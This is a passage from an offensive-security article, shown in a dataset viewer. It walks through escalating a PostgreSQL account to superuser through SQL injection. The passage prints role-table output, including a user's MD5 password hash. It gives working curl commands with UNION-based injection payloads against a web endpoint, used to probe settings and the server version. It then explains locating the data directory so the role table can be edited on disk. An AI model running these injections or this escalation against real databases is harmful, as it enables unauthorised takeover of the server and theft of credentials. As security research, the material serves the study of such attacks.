text stringlengths 0 1.99k |
|---|
rolname | pg_monitor |
rolsuper | f |
rolinherit | t |
rolcreaterole | f |
rolcreatedb | f |
rolcanlogin | f |
rolreplication | f |
rolbypassrls | f |
rolconnlimit | -1 |
rolpassword | |
rolvaliduntil | |
... TRUNCATED ... |
-[ RECORD 9 ]--+------------------------------------ |
oid | 10 |
rolname | postgres |
rolsuper | t |
rolinherit | t |
rolcreaterole | t |
rolcreatedb | t |
rolcanlogin | t |
rolreplication | t |
rolbypassrls | t |
rolconnlimit | -1 |
rolpassword | |
rolvaliduntil | |
-[ RECORD 10 ]-+------------------------------------ |
oid | 16386 |
rolname | poc_user |
rolsuper | f |
rolinherit | t |
rolcreaterole | f |
rolcreatedb | f |
rolcanlogin | t |
rolreplication | f |
rolbypassrls | f |
rolconnlimit | -1 |
rolpassword | md58616944eb80b569f7be225c2442582cd |
rolvaliduntil | |
-------------------------------------------------------------------------- |
The table contains a bunch of "rol" boolean flags and other interesting |
stuff, like the MD5 hashes of the user logon passwords. The default |
superadmin user "postgres" has all boolean flags set to true. |
To become a superuser, we must flip all boolean fields to True for our |
user, "poc_user". |
---[ 3.1 - Search for the associated Filenode |
To modify the table, we must first locate and read the filenode from the |
disk. As discussed previously, we won't be able to get the data directory |
setting from the DBMS, as we lack permissions to read the "pg_settings" |
table: |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337, (SELECT setting FROM pg_settings WHERE name='data_directory')" |
{ |
"error":"can't scan into dest[1]: cannot scan null into *string" |
} |
-------------------------------------------------------------------------- |
However, we can reliably guess the data directory path by querying the |
version of the DBMS: |
-------------------------------------------------------------------------- |
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \ |
"id=-1 UNION SELECT 1337, (SELECT version())" |
[ |
{"id":1337,"text":"PostgreSQL 13.13 (Ubuntu 13.13-1.pgdg22.04+1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit"} |
] |
-------------------------------------------------------------------------- |
Version information gives us more than enough knowledge about the DBMS |
and the underlying server. We can simply install a major version of |
PostgreSQL release 13 on our own Ubuntu 22 VM and find that the data |
directory is "/var/lib/postgresql/13/main": |
-------------------------------------------------------------------------- |
ubuntu@ubuntu-virtual-machine:~$ uname -a |
Linux ubuntu-virtual-machine 6.5.0-14-generic #14~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Nov 20 18:15:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux |
ubuntu@ubuntu-virtual-machine:~$ sudo su postgres |
postgres@ubuntu-virtual-machine:~$ pwd |
/var/lib/postgresql |
postgres@ubuntu-virtual-machine:~$ ls -l 13/main/ |
total 84 |
drwx------ 5 postgres postgres 4096 lis 26 14:48 base |
drwx------ 2 postgres postgres 4096 mar 15 11:56 global |
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_commit_ts |
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_dynshmem |
drwx------ 4 postgres postgres 4096 mar 15 11:55 pg_logical |
drwx------ 4 postgres postgres 4096 lis 26 14:48 pg_multixact |
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_notify |
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_replslot |
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_serial |
drwx------ 2 postgres postgres 4096 lis 26 14:48 pg_snapshots |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.